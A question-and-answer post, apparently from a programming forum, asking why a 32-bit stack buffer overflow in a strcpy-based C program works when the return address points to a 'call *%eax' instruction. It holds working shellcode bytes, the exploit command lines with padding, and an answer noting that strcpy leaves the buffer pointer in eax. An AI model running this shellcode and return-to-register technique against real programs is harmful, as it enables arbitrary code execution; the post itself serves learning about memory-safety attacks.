如何在C中解释此缓冲区溢出漏洞

Question

Given this C program:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}

Built with:

gcc -m32 -z execstack prog.c -o prog

Given shell code:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')

The program is exploitable with the commands:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')

where I got the addresses from:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax

I understand the meaning of the AAAA paddings in the middle, I calculated the 991 based on the length of buf in the program and the length of $EGG .

What I don't understand is why any of these addresses with call *%eax trigger the execution of the shellcode copied to the beginning of buf . As far as I understand, I'm overwriting the return address with 0x8048387 (or the other one), what I don't understand is why this leads to jumping to the shellcode.

I got this far by reading Smashing the stack for fun and profit . But the article uses a different approach of guessing a relative address to jump to the shellcode. I'm puzzled by why this more simple, alternative solution works, straight without guesswork.

Answer 1

The return value of strcpy is the destination ( buf in this case) and that's passed using register eax . Thus if nothing destroys eax until main returns, eax will hold a pointer to your shell code.